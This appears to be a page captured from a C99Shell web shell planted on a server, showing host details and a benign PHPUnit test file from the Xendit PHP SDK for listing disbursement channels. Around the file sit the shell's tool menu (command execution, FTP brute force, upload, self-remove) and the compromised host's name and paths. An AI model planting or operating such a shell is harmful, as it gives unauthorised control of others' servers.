!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/xendit/xendit-php/tests/Xendit/   drwxr-xr-x
Free 26.62 GB of 117.98 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DisbursementsChannelsTest.php (6.4 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * DisbursementsChannelsTest.php
 * php version 7.2.0
 *
 * @category Test
 * @package  Xendit
 * @author   Ellen <ellen@xendit.co>
 * @license  https://opensource.org/licenses/MIT MIT License
 * @link     https://api.xendit.co
 */

use Xendit\DisbursementChannels;
use 
Xendit\TestCase;

/**
 * Class DisbursementsChannelsTest
 *
 * @category Class
 * @package  Xendit
 * @author   Ellen <ellen@xendit.co>
 * @license  https://opensource.org/licenses/MIT MIT License
 * @link     https://api.xendit.co
 */
class DisbursementsChannelsTest extends TestCase
{
    const 
CHANNEL_CATEGORY "BANK";
    const 
CHANNEL_CODE "PH_CIMB";


    
/**
     * Get Disbursement Channels
     * Should pass
     *
     * @return array[
     * [
     * 'channel_code'=> 'PH_CIMB',
     * 'name'=> 'CIMB Bank Philippines Inc',
     * 'channel_category'=> 'BANK',
     * 'currency'=> 'PHP',
     * 'minimum'=> 50000,
     * 'maximum'=> 200000000,
     * 'minimum_increment'=> 0.01
     * ], [
     * 'channel_code'=> 'PH_CITI',
     * 'name'=> 'Citibank, N.A.',
     * 'channel_category'=> 'BANK',
     * 'currency'=> 'PHP',
     * 'minimum'=> 1,
     * 'maximum'=> 999999999,
     * 'minimum_increment'=> 1
     * ]]
     * @throws Exceptions\ApiException
     */
    
public function testIsGettableDisbursementChannels()
    {
        
$expectedResponse = [
            [
                
'channel_code' => 'PH_CIMB',
                
'name' => 'CIMB Bank Philippines Inc',
                
'channel_category' => 'BANK',
                
'currency' => 'PHP',
                
'minimum' => 50000,
                
'maximum' => 200000000,
                
'minimum_increment' => 0.01
            
], [
                
'channel_code' => 'PH_CITI',
                
'name' => 'Citibank, N.A.',
                
'channel_category' => 'BANK',
                
'currency' => 'PHP',
                
'minimum' => 1,
                
'maximum' => 999999999,
                
'minimum_increment' => 1
            
]
        ];
        
$this->stubRequest(
            
'GET',
            
'/disbursement-channels',
            [],
            [],
            
$expectedResponse
        
);

        
$result DisbursementChannels::getDisbursementChannels();
        
$this->assertEquals($result[0]['channel_code'], $expectedResponse[0]['channel_code']);
        
$this->assertEquals($result[1]['channel_code'], $expectedResponse[1]['channel_code']);
        
$this->assertCount(2$result);
    }

    
/**
     * Get Disbursement Channels by channel category
     * Should pass
     *
     * @return array[
     * [
     * 'channel_code'=> 'PH_CIMB',
     * 'name'=> 'CIMB Bank Philippines Inc',
     * 'channel_category'=> 'BANK',
     * 'currency'=> 'PHP',
     * 'minimum'=> 50000,
     * 'maximum'=> 200000000,
     * 'minimum_increment'=> 0.01
     * ], [
     * 'channel_code'=> 'PH_CITI',
     * 'name'=> 'Citibank, N.A.',
     * 'channel_category'=> 'BANK',
     * 'currency'=> 'PHP',
     * 'minimum'=> 1,
     * 'maximum'=> 999999999,
     * 'minimum_increment'=> 1
     * ]]
     * @throws Exceptions\ApiException
     */
    
public function testIsGettableDisbursementChannelsByChannelCategory()
    {
        
$expectedResponse = [
            [
                
'channel_code' => 'PH_CIMB',
                
'name' => 'CIMB Bank Philippines Inc',
                
'channel_category' => 'BANK',
                
'currency' => 'PHP',
                
'minimum' => 50000,
                
'maximum' => 200000000,
                
'minimum_increment' => 0.01
            
], [
                
'channel_code' => 'PH_CITI',
                
'name' => 'Citibank, N.A.',
                
'channel_category' => 'BANK',
                
'currency' => 'PHP',
                
'minimum' => 1,
                
'maximum' => 999999999,
                
'minimum_increment' => 1
            
]
        ];
        
$this->stubRequest(
            
'GET',
            
'/disbursement-channels?channel_category=' self::CHANNEL_CATEGORY,
            [],
            [],
            
$expectedResponse
        
);

        
$result DisbursementChannels::getDisbursementChannelsByChannelCategory(self::CHANNEL_CATEGORY);
        
$this->assertEquals($result[0]['channel_category'], $expectedResponse[0]['channel_category']);
        
$this->assertEquals($result[1]['channel_category'], $expectedResponse[1]['channel_category']);
        
$this->assertCount(2$result);
    }

    
/**
     * Get Disbursement Channels by Channel Category test
     * Should throw ApiException
     *
     * @return void
     * @throws \Xendit\Exceptions\ApiException
     */
    
public function testIsGettableDisbursementChannelsByChannelCategoryThrowApiException()
    {
        
$this->expectException(\Xendit\Exceptions\ApiException::class);
        
DisbursementChannels::getDisbursementChannelsByChannelCategory(null);
    }

    
/**
     * Get Disbursement Channels by Channel Code
     * Should pass
     *
     * @return array[
     * [
     * 'channel_code'=> 'PH_CIMB',
     * 'name'=> 'CIMB Bank Philippines Inc',
     * 'channel_category'=> 'BANK',
     * 'currency'=> 'PHP',
     * 'minimum'=> 50000,
     * 'maximum'=> 200000000,
     * 'minimum_increment'=> 0.01
     * ]]
     * @throws Exceptions\ApiException
     */
    
public function testIsGettableDisbursementChannelsByChannelCode()
    {
        
$expectedResponse = [
            [
                
'channel_code' => 'PH_CIMB',
                
'name' => 'CIMB Bank Philippines Inc',
                
'channel_category' => 'BANK',
                
'currency' => 'PHP',
                
'minimum' => 50000,
                
'maximum' => 200000000,
                
'minimum_increment' => 0.01
            
]
        ];
        
$this->stubRequest(
            
'GET',
            
'/disbursement-channels?channel_code=' self::CHANNEL_CODE,
            [],
            [],
            
$expectedResponse
        
);

        
$result DisbursementChannels::getDisbursementChannelsByChannelCode(self::CHANNEL_CODE);
        
$this->assertEquals($result[0]['channel_code'], $expectedResponse[0]['channel_code']);
        
$this->assertCount(1$result);
    }

    
/**
     * Get Disbursement Channels by Channel Code test
     * Should throw ApiException
     *
     * @return void
     * @throws \Xendit\Exceptions\ApiException
     */
    
public function testIsGettableDisbursementChannelsByChannelCodeThrowApiException()
    {
        
$this->expectException(\Xendit\Exceptions\ApiException::class);
        
DisbursementChannels::getDisbursementChannelsByChannelCode(null);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--